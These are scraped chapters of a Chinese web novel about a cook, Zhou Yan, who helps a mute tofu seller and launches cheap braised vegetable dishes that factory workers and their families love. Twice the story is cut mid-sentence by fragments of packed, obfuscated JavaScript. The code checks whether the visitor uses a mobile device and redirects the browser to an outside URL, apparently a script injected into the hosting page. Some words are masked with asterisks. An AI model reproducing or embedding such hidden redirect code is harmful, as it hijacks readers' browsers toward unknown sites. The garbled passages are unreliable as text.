周砚帮来福把豆腐摊重新支到昨天那个位置，又把新招牌立在豆腐摊摊旁边。 来福的脸上，重新露出了笑容，向着周砚和周杰他们一人鞠了躬。 “这弟娃硬是乖巧懂事，跟辉辉同一年的，上回见，才八岁，转眼就这么大了。”周飞说道，目光中带着几分怜悯和心疼。 “给你做的新招牌，走的时候背回去，明天用索索绑在背篼上再背来。”周砚在纸上写了一句话给来福看。 来福看完点了点头，接过纸笔写了两个字，抬头冲着他笑。 谢谢。 周砚伸手摸了摸他的脑袋，笑着道：“不谢。” “西坝豆腐？是不是以前那个豆腐西施家的哦？” “有两年没见到那个嬢嬢出来卖豆腐了嘛？她家的豆腐味道巴适得很。” 招牌支起，立马有客人过来买豆腐，其中不少还是旁边摆摊的小贩和农民。 西坝豆腐名声在外，孙老太卖了几十年豆腐也积累了不少口碑，这块招牌吸引了不少客人。 来福立马就忙碌起来，切豆腐，称豆腐，还要收钱找零。 周砚把隔壁摊贩那四个被压坏的莲花白和剩下的两个全买了，丢到周杰后座的背篼里，“带回去给奶奶喂猪。” “走嘛，我们不要挡着他做生意了。”周砚笑着招呼了一声，周杰他们也是推着车跟着走了。 “没得事我就先回码头扛包了哈，回去晚了要被领班骂。”周宏伟招呼了一声，骑上车先跑了。 周杰跟周海说道：“周海，你也先回去看到火，你嫂子怕是顾不好。” “要得，周砚，我先走了哈。”周海点头，骑上车也走了。 “杰哥，你们啷个来的那么快？”周砚这才来得及问道。 “四爸喊人通知我们的，我和周海骑上车就来了，路过码头把宏伟也喊上，其他兄弟伙就是喊了一嗓子，他们互相通知赶来的，所以晚了几分钟。”周杰笑着说道：“兄弟有难，肯定要来的快才有用撒。” “我老汉儿？”周砚刚刚在人群里瞧见老周同志了，身边还跟着提把杀猪刀的章老三。 “小辈的事，他们老辈子一般都不会出面。”周杰向他解释，又道：“本来我今天也打算来找你的。” “啥事？最近跷脚牛肉卖的咋样嘛？”周砚看着他。 “卖的好得很，现在一天能卖出去八十多碗了，天气再冷些，我估计随便能卖上百碗。”周杰咧嘴笑道：“现在我跟周海比之前挣得多，人还没那么累。” “挺好的。”周砚闻言也笑了。 “我今天本来是想来问你，需不需要我帮你卖卤肉？”周杰说道：“现在你两个嫂子中午、晚上饭点都来帮忙，我反倒比较清闲。 我可以每天过来拿几斤卤肉帮你卖，码头这边人流量还是不错的，我们的客人也舍得花钱吃。” “当然，你不要误会哈，我就是单纯帮你卖，卖好多，我钱都算给你。” 周砚闻言眼睛一亮，当即道：“这主意挺好啊，你们要是能忙得过来，我每天给你们拿一些猪头肉卖。光卖猪头肉，好切也好算，一斤卖两块五，我给你算两块，卖得好的话，也能多一笔额外收入。” “不用！你就给我算两块五。”周杰坚决摇头，“你带我们做跷脚牛肉挣钱了，我们顺便帮你卖点卤肉是应该的，我还能挣你的钱不成。” “那我不给你卖了。”周砚笑道。 “为啥呢？”周杰瞪眼。 周砚敛了笑容，一脸认真道：“你一斤挣五角，我也能挣五角，你卖起来动力满满，吆喝起来多有劲，多卖多挣。 你要分钱不挣，浪费一个人工给我卖卤猪头肉，两位嫂子心头多少会有些不舒服，这事我肯定不得干。 杰哥，我觉得你这个主意好得很。码头离我饭店足够远，那边的客人基本不会转到我饭店来买卤肉，你卖得好，也等于是给我饭店做宣传。 做生意，要互利互惠才能长久，亲兄弟更要明算账，你要觉得可以，明天早上十点你就来拿卤肉。” 周杰停下脚步，见周砚神情认真，想了想，也是点头：“要得，那就听你的。明天我来，先拿五斤卤猪头肉嘛。” “要得，就这么说定了。”周砚点头，两人各自分开。 “老汉，走了。”周砚走到章老三的肉摊前，和老周同志招呼了一声，骑上车往饭店赶去。 早上这场小插曲，耽搁了一些时间，他回去还得忙着炒浇头呢。 不过结果还算不错。 周杰和周海他们给来福撑腰，以后来福在石板桥头卖豆腐就没人敢随意欺负他，少了一些后顾之忧。 小摊贩之间，这种腤臜事可不少。 要不怎么说同行是冤家呢。 你要示弱后退一步，对方就敢爬到你头上拉屎。 当初赵明辉就差点被排挤的干不下去，还是靠着甜皮鸭才重新站稳脚跟。 周砚今天冲上去那一脚，就是冲着把事情闹大去的。 一个小哑巴，要想不被欺负，那就得让所有人都知道，他不好招惹，背后是有人护着的。 伟人说得对，打得一拳开，免得百拳来。 “老汉儿，你刚刚也来了？”周砚看着并排而行的老周同志问道。 “我看用不着我出手，就又回去了。”老周同志点点头。 周砚笑了，老周同志倒是有几分高手风范。 回到饭店，周砚先把泡着的海带淘洗一遍，又加了一道清水泡着。 盐渍海带除了泡发，还得不断换水把盐味祛除，不然卤出来太咸，也没法吃。 然后把腐竹用冷水泡着，一次性泡了三斤，泡发之后，应该有八斤左右。 他还买了二十斤藕，卖藕的大叔说了，到莲藕尾期了，最多还能卖个十来天。 这可太糟糕了，这年代似乎还没有越冬莲藕。 土豆他也买了二十斤，这玩意耐放，要不是背篼装不下，他都打算弄一百斤回来放着。 忙完早高峰，周砚正在卤肉，眼底突然弹出一条消息： 【支线任务：西坝豆腐传承守卫战！进度：30%】 求月票~ 晚上会有加更！   (本章完) 第153章 友谊的小船，说翻就翻了（月票加更 周砚眉梢一挑，没想到狗系统竟然还会给进度条？ 他抬手看了眼手表，早上九点半，估摸着来福应该是卖完豆腐回到家了。 这个任务的核心是让孙老太改主意，留下来福让他传承西坝豆腐的做法，将来可以做豆腐安身立命。 他早上这一脚的含金量，还在提升。 连着两天卖完两板豆腐，又能卖豆腐干和腐竹。 孙老太和来福陷入泥潭的生活，开始有了转机和起色。 既然任务已经亮出血条，周砚觉得离完成不远了。 “二十斤莲藕和土豆全部削了吗？卖的完不？”赵铁英开口问道。 她和赵红坐在一旁削莲藕和土豆皮，两个大搪瓷盆已经快装满了。 “全部整了嘛，这东西主打一个薄利多销。”周砚应道，藕和土豆一毛五一斤，没啥丢头，定价便宜，就是用来拉客的。 就算卖不完，也亏不了多少钱。 海带已经换了好几轮水，盐味清淡了许多。 周砚把一口新买的铝锅给开了锅，开始调配卤素菜用的卤水。 卤素菜和卤肉不能用同一锅卤水，这点老太太可是和他再三叮嘱过的。 素菜吸油又吸味，而且水分含量太高，一锅卤水只能用一两回，一个是卤味被稀释，另一个就是卤水没法保存容易变质。 周砚现在有两锅味道醇厚的老卤水，每天卤那么多猪头、猪蹄，卤水的品质一直维持在高位上。 猪货是最养卤水的，越卤卤水越香，周砚每天光是打出来的卤油都有好几斤。 老太太说了，卤水需要卤油来保护，但凡事也有个度，有个三公分厚度就足够了，多了容易闷坏卤水，反倒起了反作用。 多的卤油打起来先不丢，起新卤水卤素菜的时候加一些进去，可以增添香味。 也可以卖给做烧烤、串串香、锅巴土豆的店铺和摊贩。 这都是老太太教她的小技巧。 她说当年她一天卤一两百斤卤肉，桶里能涨几斤卤油，一部分用来卤素菜，还有一部分卖给别家，还能回收一些本钱。 老太太说了，卤油做的辣椒油都要香一些，当年她的凉拌鸡的辣椒油，就是用卤油做的，所以味道比别家都要香一些。 这倒是让周砚有点跃跃欲试。 现在卤油一天产量也就两三斤，卖给别家挣不到几块钱。 但要是做成辣椒油，能让凉拌鸡的味道有所提升，做出更大的差异化，那可就算是变废为宝了。 卤素菜需要把卤水稀释，要是和卤肉同一锅卤水，味道就太咸了，直接没法吃。 卤水和清水比例约为一比一，周砚只取了四分之一老卤水，然后通过补盐、补水、补香料的方式来调这一锅素菜卤水，从而尽可能的减少对老卤水的影响。 这一锅卤水调好，约摸四十斤的量。 卤菜是一轮一轮下锅出锅的，所以卤水的量并不需要那么多。 先卤没那么吸水和吸油的素菜，最后再下入腐竹、豆干这样的吸油狂魔。 要论技巧，其实卤素菜比卤肉还要更讲究一些。 “这么多，要我们帮忙切不？切个土豆应该不难吧？”赵铁英她们把土豆和藕削好皮，开口问道。 “让老汉来帮忙嘛，你和嫂嫂帮我把海带打结嘛。”周砚笑着婉拒了赵嬢嬢。 卤素菜吃的就是一个口感，对刀工要求更高，薄厚上的细微差别，就会导致卤制时长的不同。 这一点，在卤土豆上体现的淋漓尽致。 “老汉儿，土豆切这个厚度，第一刀不要，留着中午炒土豆片吃。”周砚给老周同志示范切了一个土豆。 老周同志拿起三片对比看了一会，点点头，拿起菜刀就是框框一顿切。 卤土豆分为两种，薄片和厚片。 薄片吃的是一个生脆的口感，而厚片吃的是绵软入味的口感和味道。 周砚这回卤藕和土豆都是厚片。 老周同志的刀工，周砚非常放心。 甚至比他还稳。 周砚自己则是负责切藕片，半公分厚度，兼顾口感和味道。 卤素菜一加，本就忙碌的上午更忙了。 卤肉陆续出锅，素菜则是分批下锅又捞出，分门别类的装好。 素菜装在盆里，淋上一瓢卤油，色泽愈发鲜亮诱人。 绿色的海带，金黄色的腐竹和土豆，还有原色的藕，卤香扑鼻，看着真不赖。 卤素菜有两个口味，一个是五香原味，一个是麻辣口味。 周砚另取几个盆，将素菜各取一半，加入红油、花椒粉等调料一拌，素菜的颜色一下子就变得红亮起来，点点芝麻粒点缀其上。 他没有辣卤的卤水，所以这麻辣口味的卤菜，做法其实更像凉拌鸡。 周砚拿筷子尝了一条麻辣卤腐竹。 腐竹吸满了满是荤香的卤汁，又裹上了麻麻辣辣的调料，嚼起来柔软中略带韧劲，香辣爽口！ 啊—— 这就是麻辣卤腐竹的味道！ 远超他的预期。 他又吃了一块五香卤藕，软绵中带点脆爽的口感，吸满了卤水的荤香，吃起来竟是有种肉香。 卤水的香味已经足够浓郁，他甚至觉得比麻辣味的还要好吃！ 周沫沫端着小碗就来了，双手捧着举过头顶，一脸虔诚地奶声奶气道：“锅锅，给点吧，沫沫肚肚好饿啊。” “来嘛，你吃五香口味的。”周砚笑着给她每样夹了一点。 “谢谢锅锅！我永远都最爱你！”周沫沫端着小碗，在一旁的小凳子上坐下，伸手抓起一片土豆咬了一口，大大的眼睛立马亮了起来。 好软！好香！好好吃哦！ “锅锅，这是土豆肉肉吗？”小家伙抬头看着周砚，小脸上满是发现新事物的喜悦：“是肉肉的味道！” “可能是吧。”周砚笑道。 “锅锅太厉害了！把土豆都做成了肉肉！”周沫沫惊叹道，埋头继续吃，眼里只有对美味的专注和对哥哥的崇拜。 “我尝看。”赵嬢嬢也端了个盘子过来，每样都夹了几块，和老周同志、赵红分着吃。 “土豆好面哦！吃起竟然有肉味呢？原味感觉就好香了。” “我觉得这个麻辣味调的好好哦，藕片麻辣爽口，好吃！” “卤素菜的味道竟然这么好！我感觉卖的是不是有点便宜了哦？” 三人尝了之后赞不绝口，皆是一脸惊艳。 周砚嘴角上扬，瞧瞧，这性价比不就出来了。 攻略纺织厂女工的胃，就靠这性价比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200273|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉满的卤素菜了。 午饭吃的比较简单，一份卤素菜，配上一盘油渣炒莲白，再加上一份【平平无奇的炒土豆片】，众人还是吃的津津有味。 对于那份微焦的土豆片，周砚表示抱歉。 自带淀粉的土豆，第一次上手，确实没把握住。 工厂的放班铃声响起，出厂觅食的工人们陆续从大门涌出。 一块显眼醒目的招牌立在周二娃饭店的门口： 新品：卤素菜！ 惊爆价！ 卤藕、卤土豆——四**一斤！ 卤腐竹、卤海带——八**一斤！ 欢迎试吃！ 路过的工人都忍不住把脚步放缓，往那新增的小桌上瞅了一眼。 就是这一眼，钱立马从口袋里飞走了。 两个盘子上摆着切成小块的卤藕、卤腐竹和卤海带，一盘五香，一盘麻辣，旁边的搪瓷杯里放满了短竹签。 而盘子后边，则是两排八盆油润的卤素菜，一半本色油润的五香味，一半红亮的麻辣味。 试吃，那可是大家的最爱！ 特别是周二娃饭店的新品试吃。 工人们立马围了过去，拿起竹签连着夺三块不同的菜，力求一次性都尝个遍。 王薇一周没来周二娃饭店了，今天跟办公室的同事约好一起来吃回锅肉，看到卤味试吃，立马拉上同事凑了过来。 “你尝麻辣，我尝原味，试看哪个味道更好。”王薇说道，抽了两根竹签，递了一根给同事，自己则是夺起一块藕和一截腐竹，往旁边退了两步，把位置给后边的工友让了出来。 试吃的素菜，切成了二厘米左右的大小，一口一块刚好合适。 桌上有块小牌子，写着：欢迎多试吃几种口味和素菜，但一根竹签只能用一次。 简单的一句话，透着大气和讲究。 王薇喜欢周二娃饭店的很大一个原因，就是干净卫生又有格局。 她先尝了一口卤藕，厚切的藕片，咬起来已然是带着几分脆爽的口感，卤汁浸透了莲藕，吃起来竟是满口荤香，卤香浓郁，余味悠长。 “好香啊这卤藕片！口感也是绝妙的！” 王薇眼睛一亮，这比那些薄切的藕片香味浓郁太多了，她也更喜欢这种略带厚重的口感。 回味了一会，她满怀期待的尝了剩下那块卤腐竹。 绵软的腐竹吸饱了卤汁，荤香十足，嚼起来竟是让人有种在吃肉的错觉，淡淡的豆香犹如点睛之笔，软而不烂，略微一点弹牙的口感，更是绝妙到了极致。 这滋味……简直比肉都要好吃！ 王薇砸吧了一下嘴，意犹未尽。 而看向身旁刚把竹签上的麻辣腐竹咬下的同事小黄，此刻同样是一脸惊艳的神情。 “五香好吃！” “麻辣好吃！” 俩人同时开口，各执己见。 “五香好吃，卤香浓郁，已经完美无暇，根本不需要啥子麻辣的滋味来画蛇添足。” “你懂不起，麻辣才是王道！这辣子油好香哦，麻麻辣辣，吃起来太爽了！” …… 友谊的小船，说翻就翻了。 求月票~！   (本章完) 第154章 卤素菜的轰动效应（6k二合一） 王薇和小黄一人点了四毛钱的卤素菜，结束了这场纷争。 一盘五香素菜混装，一盘麻辣素菜混装上了桌，两人对视了一眼，同时笑了。 “我觉得你这个五香卤素菜看着确实不错啊。” “我觉得你这麻辣素菜看着有点馋人啊。” “小黄同志，来来来，一起吃！” “小王同志别客气，自己夹。” 其他菜还没上来，两人已经拿起筷子大快朵颐起来。 爽脆入味的卤藕，软糯的卤土豆，四毛钱一斤的快乐，在周二娃饭店简直有点不敢想象。 卤腐竹的绝妙口感和味道，还有脆爽鲜美的卤海带，更是一绝。 “这绝对是我吃过最最好吃的卤素菜！”小黄惊叹道，“本来我以为上回在嘉州城吃到的赵记卤味已经是巅峰，可在这卤素菜面前，实在是差远了。” “别说嘉州，我在蓉城也没有吃过如此美味的卤素菜。”王薇咬了一口海带，看了眼厨房方向，赞叹道：“周砚可真厉害，他做的卤猪蹄也超好吃的，下回你一定要试试，一个人啃一整只的满足感，无与伦比。” “嗯，猪蹄要一块二一个呢，我可不像你那么潇洒，家里还有个嗷嗷待哺的小家伙呢。”小黄笑着摇头，看了眼隔壁桌刚上来的热气腾腾的猪蹄，又忍不住咽了咽口水，迟疑着道：“要不下回你想吃了，喊我一声，咱们一人吃半个？” “得了吧，你们家可是双职工。”王薇笑着道：“那咱们明天来吃，我也馋了。” “行！”小黄点头。 卤素菜试吃，犹如往平静的湖面丢下了一块石子，激起了不小的波澜。 两毛钱能买一包卤藕和土豆，油皮纸一包，再配两根竹签，妥妥下午小零食。 要是再加两**，还能尝到肉感十足的腐竹和脆爽的海带。 一向给人高消费的周二娃饭店，第一回让纺织厂的工人们感受到了实惠和性价比。 当然，最重要的还是好吃！ 没有人在品尝过后，能忍住不掏钱的。 那一盆盆素菜瞧着不少，可围着的人是真掏钱买啊。 这个来三毛，那个来四**，眼瞅着麻辣味的卤藕半盆就下去了。 这让原本打算晚上下班再买的客人，也急着掏了兜。 来晚了有钱都买不到，这种事在周二娃饭店不稀奇。 而进店吃饭的客人，不少也会选择点一份当配菜。 麻辣卤素菜和点份凉菜没啥区别，混着点一盘也就六毛钱左右，价格相当实惠。 黄家兄妹落座之后，也点了两盘，一盘五香，一盘麻辣，每样都选了一些。 “哇塞！这藕和土豆绝了啊！还有这腐竹，吃起来比肉都香，价格也太便宜了吧？！”**嘴里塞得鼓鼓的，有些含糊的惊叹道。 黄兵也是一筷子接一筷子的吃着，跟着点头道：“是好吃！这卤水太好了，感觉鞋底板丢进去卤都好吃。” “你懂锤子，卤水是一方面，卤的技术也是非常重要的。”**白了他一眼，夹起一块土豆道：“你看这土豆，卤的软烂入味，吃起来那么面，筷子一夹就要散开，但是放在盘子里却是完完整整的一块，卖相就好看。 这个厚切的藕片，既要入味，又要带点脆的口感，对火候和刀工的要求都很高，你以为是一股脑丢到卤水里捞起来就可以了吗。 腐竹就更不说了，这东西但凡多卤一分钟，都能给你烂在锅里。” 黄兵听得一愣一愣的，默默给**竖了个大拇指：“你话多，我信你的。” “好吃，等下回去给妈老汉带一份。”**说道。 “莫非你想在我们酒楼也卖卤素菜？” **摇头低声道：“不得行，我们饭店的客人包席、请客的居多，卤素菜虽然好，但和我们的菜不太搭，不是很上台面，带回去给他们尝个味道就行。” “我觉得这腐竹和海带就挺好啊？桌上要是有这道菜，我肯定会多夹两筷子。”黄兵夹了一块腐竹喂到嘴里，“当个凉菜不是挺好的？” “那就让妈和老汉儿决定嘛。”**说道。 两人吃完饭，打包了两份卤菜，骑上车回去了。 中午营业结束，周砚看着收进厨房来的几盆素菜，几乎都见底了。 特别是麻辣卤藕和卤土豆，已经卖空。 腐竹和海带也卖的很好，大致估了一下，剩下不到三分之一。 “卖的太好了，半斤一斤的称，都说好吃。”赵嬢嬢满脸堆笑，还有点不敢相信，看着周砚问道：“下午要不要再整点？” “不用，就这些卖完差不多，下午轻松点，不然感觉一天忙不完。”周砚摇头，拒绝下午加班。 卤菜是长期生意，没必要急于一时。 不过今天中午刚推出就这般火爆，属实让他有些惊喜。 试吃策略执行的相当成功，而且根据赵嬢嬢的观察，购买者当中，女工占比达七成。 这个比例，已经和纺织厂女工占比接近。 而之前购买卤肉的客人，女工占比只有四成左右。 更为实惠的价格，显然成功撬动了更多的女工群体。 口碑传播的相当迅速。 有些工人是在尝到了工友带回到厂里的卤素菜后，特意出来购买的。 这已经不是当做一道菜，而是当成了零嘴。 腐竹和海带泡发卤煮之后，涨了两倍多，吸足的卤水就是利润。 今天这一锅卤素菜要是卖完，营业额应该能到三十块，利润能有十五左右。 这才第一天，而且只有四道素菜的情况下。 等明天豆干有了，再考虑把笋干也加进来，品种丰富起来，估计还能卖的更好。 …… “卤素菜！周砚做的？哎呀，这个好！这个好啊！” 飞燕酒楼小包厢，黄鹤看着装在盘子里的两份卤素菜，忍不住拍手叫好，神色更是有些激动。 赵淑兰打量了一会，也是点头道：“这素菜品相看着不错啊。” “不光品相好，味道也好得很。”**拿了两双筷子递上，笑着道：“尝尝？” “你们是不知道，我小时候最喜欢跟你们叔公去苏稽取卤肉，为的就是这一口素菜，每次买个半斤，路上抱着慢慢吃，马车一路慢慢悠悠晃到酒楼刚好吃完，那叫一个美啊。”黄鹤接过筷子，满脸感慨，先夹了一块腐竹喂到嘴里。 吸满了卤汁的腐竹，一口下去，满嘴荤香，软而不烂，还带着一点点弹牙的口感，嚼起来竟是有种吃肉的错觉。 不对，甚至比肉还要更香几分。 荤香与豆香的完美交融，就连腐竹的口感都是一样的。 一晃已经是三十年多前的事情了，许多细节都已经模糊，他只记得满是卤肉荤香的车厢里，那个抱着一包卤素菜，吃的满手满脸油光光的小孩，是那般无忧无虑，满心满眼都只有那一包卤素菜。 每隔五天才能去一回，这几乎成了他童年最快乐的回忆。 卤藕、卤土豆、卤海带他逐一尝了一遍，除了海带，土豆与藕还是记忆中的味道。 放下筷子，黄鹤满脸唏嘘道：“卤牛肉是我们飞燕酒楼的镇店菜，但对我来说，卤素菜的记忆更为深刻和让人怀念。” “老汉儿，那我们要不要卖卤素菜？我觉得这个腐竹和海带还是非常不错的，拿来做个素菜也挺好的嘛。”黄兵提议道。 赵淑兰还在吃藕，闻言也是看向了黄鹤。 黄鹤思索了一会，摇了摇头：“不卖。” “为啥？”黄兵一脸不解。 黄鹤神情庄重了几分，开口道：“周砚说了，一年后他可能会把饭店开到嘉州来，以他的厨艺，生意肯定不会差。 卤牛肉和卤猪头肉在切法和摆盘上做出差异化来，我们还能咬**说是飞燕酒楼传承的百年老卤，美味的卤肉有共通之处。 可要是周砚上啥我们跟着卖啥，菜品一样，味道一样，客人又不傻，能看不出来？ 口碑是一代代积累出来的，做每一个决定都要谨慎，卤味对于飞燕酒楼来说，是锦上添花的东西，不要本末倒置了。” 黄兵若有所思。 **则是好奇问道：“老汉儿，当年爷爷是不是也这样跟你说的？” 黄鹤表情一僵，略显尴尬的笑了笑：“对，我当年吃到张嬢嬢做的卤素菜，也是惊为天人，献宝一样端给你们爷爷，他很高兴的吃完了，然后跟我说了差不多的一段话。 开酒楼，还是要有自己的特色和坚持，要是这家拿点，那家拿点就能把酒楼做好，那可就把事情想得太简单了。” …… “这藕好脆爽！四毛钱一斤，用这么好的卤水卤，还能吃到肉香味，这老板也太良心了吧？不是说周二娃饭店的菜贵得很吗？一碗面都要六角钱！” “硬是，我也听他们说卤猪耳朵要三块钱一斤！啧，一斤都能买三斤五花肉了。怎么卤素菜就卖的这么便宜？” “五香的好好吃，我娃娃不喜欢吃辣，晚上称一斤回去，他们三个肯定高兴惨了。” “赵主任，我们组拿了上个月的优秀生产小组，你就奖励一包卤素菜给我们啊？怎么说也应该要加点肉嘛。” “就是！赵主任还是太抠门了。” 歇息时间，七八个女工坐在车间门口的长凳上，围着两包卤素菜吃的津津有味，还不时调笑站在一旁的赵东两句。 “这是我个人掏腰包奖励你们的哈，你们的奖金厂里可是一分没少发给你们。”赵东笑着说道：“不过我把话放在这里，这个月你们要是还能拿优秀生产小组，下个月我给你们买猪头肉。” “要得！” “赵主任硬气！” 女工们笑着应道，气氛热烈而欢快。 “你们慢慢吃，我去转车间了。”赵东不敢久留，转身往车间里走去。 这群娘们，闲下来聊天荤素不忌，连他这个老爷们有时候听了都觉得吃不消。 整个纺织厂，阴盛阳衰，女工不止顶半边天，足足顶了七分天。 他这个车间主任，为了调动工人们的生产积极性，可谓是煞费苦心。 不过她们拿了优秀生产小组，他这个主任不光面上有光，也一样是有奖金的。 比如上个月就给他发了十块钱的奖金。 今天给他们买了两包卤素菜，花了两块钱，看她们都挺满意的。 这事他都想好几天了，本来是打算一人发条毛巾。 今天中午他在食堂吃了饭，刚巧碰上朱哲这混球吃独食，捧着一包卤素菜回来。 他自然不会放过，狠狠吃了几块，被卤素菜的味道和价格所震惊。 四毛钱一斤的卤藕和卤土豆竟然那么好吃！ 立马改了主意，把毛巾换成了两包卤素菜，让大家尝个味道。 “周砚还真是厉害，啥都能做的那么好吃！”赵东忍不住感慨道。 “老赵叽叽咕咕啥呢？”林志强刚好下车间，看着赵东笑问道。 赵东看着林志强，笑着应道：“林厂长，我说周砚今天推出的卤素菜巴适得板，晚上回去给两个娃带点回去尝尝。” “他还推出卤素菜了啊？”林志强有点诧异，昨天跑步也没听周砚说啊。 “对头，卖的还便宜得很，卤藕和卤土豆只要四角一斤，卤腐竹和海带也只要八角，味道巴适得很，你要买给两个娃娃吃的话，就买五香原味的，我觉得吃起来比麻辣的还要更香些。” 林志强笑着点头：“要得，下班我也去买点，今天我老婆不在家，还能少炒个菜。” …… 上水村。 房屋坍塌了一半的小院里。 孙老太坐在小板凳上，一手拿着小棍，在煮着豆浆的大锅里一卷，一条腐竹立马缠上了小棍，然后挂在了身旁挂放矮的竹竿上。 她的身边煮着三口锅，一卷一挑，做的相当熟练。 院子里的竹竿上，已经挂满了腐竹，在微风中轻轻摇晃，满院豆香。 干起活来，她似乎忘了病痛，手脚竟是颇为麻利。 一旁屋檐下，来福坐在高板凳上，一手拿着勺子往石磨洞里倒黄豆，一手抓着木杆不停地转着磨盘磨豆腐。 白色的豆浆汇聚到下方接着的木桶中，已经磨了有大半桶。 他穿着一件宽松的白色背心，上面全是小洞和补丁，太瘦了，像根麻杆一样，抓着木把的手上嘞破皮，裹了一块破布继续磨。 他的神情专注又认真，清澈的眼睛里充满了干劲。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200274|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >很快，一桶豆浆磨好了，来福提着到孙老太身旁。 孙老太笑着摇头，一遍比划一边说道：“腐竹今天不做了，这三锅弄完就行，挂不下了，你把这一桶豆浆拿来做豆腐，晚上把豆腐干烘好，明天给你老表送过去。” 老太太的手语并不标准，但来福一眼就看懂了。 点点头，先把那挂满腐竹的竹竿小心抬起，放回到架子上，重新拿了最后一根空竹杆放在孙老太身旁，又去倒了杯水来给孙老太。 孙老太端着搪瓷杯喝了两口水，看着满院挂满的腐竹，脸上露出了欣慰的笑容：“太好了，张记卤味传承下来，我们有救了。” 来福也跟着笑，眼里同样亮着光。 …… 和周砚预料的一样，工厂下班不到十分钟，剩下的卤菜就卖空了。 端着个小碗坐门口啃藕和土豆片的周沫沫，甚至还没来得及发挥带货能力，货就空了。 来晚了的工人，看看那八个空盆，再看坐在小板凳上，抓着藕片啃得津津有味，美滋滋地晃着小短腿的周沫沫，齐齐咽了咽口水。 三岁半的小朋友不会骗人。 自家孩子都放心吃，而且吃的那么香，这卤素菜肯定差不了。 小家伙埋头吃，还不忘不时嘀咕两句：“土豆面面的，好好吃哦！” “老板，明天素菜多做点嘛。”女工们带着几分幽怨道。 “要得。”周淼点头应下，脸上挤出了一点笑容。 这卤素菜的口碑传播太快了，已经是有些轰动性的效应了。 林志强从店里出来，拿汤罐打包了一份跷脚牛肉，他来的早，还打包了六毛钱的素菜，喜滋滋地骑上二八大杠走了。 当领导就这点好，车间视察完了，来保卫科视察一下很合理吧？ 下班铃声一响，他第一个到周二娃饭店，素菜还有的选呢。 回到家，提着饭盒和菜到家，两个娃已经把作业写得差不多了。 “爸爸！沫沫妹家打包回来的吗？” “爸，今天吃啥？！” 林景行和林秉文把笔一放，立马凑了过来。 “一个汤，一个卤素菜，你们先去洗手，把碗端来。”林志强一边拿菜，一边说道。 父子三人，一般都是简单对付。 之前是从厂食堂打菜，这段时间尝过周二娃饭店的美味饭菜，两个儿天天惦记着。 油皮纸打开，看到全是素菜，俩儿子同时叹了口气。 “爸，怎么没肉啊？”林景行抬头看着他。 “咱们家没钱了吗？”林秉文则一脸担忧。 “汤里不就有肉，这是新推出的卤素菜，赶紧吃。”林志强把饭盒里的饭给他们分到碗里，没好气地笑道。 两个小家伙先去汤里挑了几块肉吃，捞到只剩莲花白了，才兴致泛泛地看向卤素菜。 林志强可不管他们，吃的津津有味，赵东说的一点没错，这卤素菜确实好吃，用四川话说：巴适得板！ “爸，真有那么好吃？”林景行带着几分怀疑，夹了一块土豆到碗里，筷子稍一用力，土豆就夹成两截，夹了一块喂到嘴里，他的眼睛顿时亮了起来。 这土豆，怎么肉里肉气的！ 软软的，一咬就在嘴里化开，绵绵的口感，满满的肉香味，好好吃！ 嚼了嚼咽下，扒拉了一口米饭，他把剩下半块也吃了，筷子则是夹向了一块腐竹，这满是褶皱的段不知道是什么，看着应该不错。 “哥，好吃吗？”林秉文不爱吃蔬菜，还在碗里找碎肉呢，见他哥一块接一块的吃，好奇问道。 “不好吃，你找肉嘛，我觉得碗里还有两块牛肉。”林景行头都没抬，把腐竹喂到嘴里，小口嚼着。 这是肉吗？！ 嚼起来跟肉一样香！口感也好像啊！简直比肉还好吃呢！ 林景行心里满是惊喜，脸上还要摆出一副也就这样的表情，装的他好辛苦。 筷子毫不犹豫的夹向下一块腐竹。 “真的？”林秉文立马站起身来，凑到汤碗前认真翻找着，最后还真给他找到了一块小小的蹄筋，心满意足地坐下慢慢吃着。 林志强一脸无奈的夹了一块腐竹放他碗里：“笨蛋，再不吃，你哥就把腐竹吃完了。” “给哥哥吃，我吃肉就好了。”林秉文反手就把腐竹夹到了林景行碗里。 “嗯，我的好弟弟，我来帮你吃。”林景行伸手摸了摸他的头，一口又炫了一根腐竹。 “谢谢哥哥。” 林景行嘴角有点压不住了，瞧，他还谢谢咱呢。 腐竹真的太香了！ 林秉文扒拉了一口米饭，里边刚好有点腐竹的边角料，嚼着嚼着，表情有点不太对了，碗里也没肉啊？怎么感觉吃了一块肉一样呢？对了，好像有一小块腐竹。 他有点不确定，看向了哥哥。 哥哥一口一块腐竹，一口一块海带，再来一口土豆和藕，吃的那叫一个又快又香。 不对劲啊！ 哥哥明明也不喜欢吃蔬菜的。 林秉文有点回过味来了，也是伸出筷子夹起了盘子里最后一块腐竹。 林景行的筷子一顿，看着他温声笑道：“弟弟，我来帮你吃。” 林秉文立马喂到嘴里，嚼了两下，表情一下变了，眼泪立马掉下来：“肉！你吃肉不告诉我！啊——” “这不是肉，这是素菜，你不是不爱吃嘛。”林景行转而去夹土豆，笑容中透着几分得意，“还是你自己夹给我的呢，还说谢谢哥哥。” 林志强也是乐得不行，笑着道：“还哭，等会连土豆都吃不上了。” 林秉文立马不哭了，连忙把嘴里的腐竹嚼完咽下，扒拉了一大口米饭，又学着他哥去夹土豆。 土豆也好吃！也是肉味的！ “爸，沫沫他哥哥把肉做成了土豆吗？”林秉文吸着鼻子问道。 “可能吧。”林志强笑着点头。 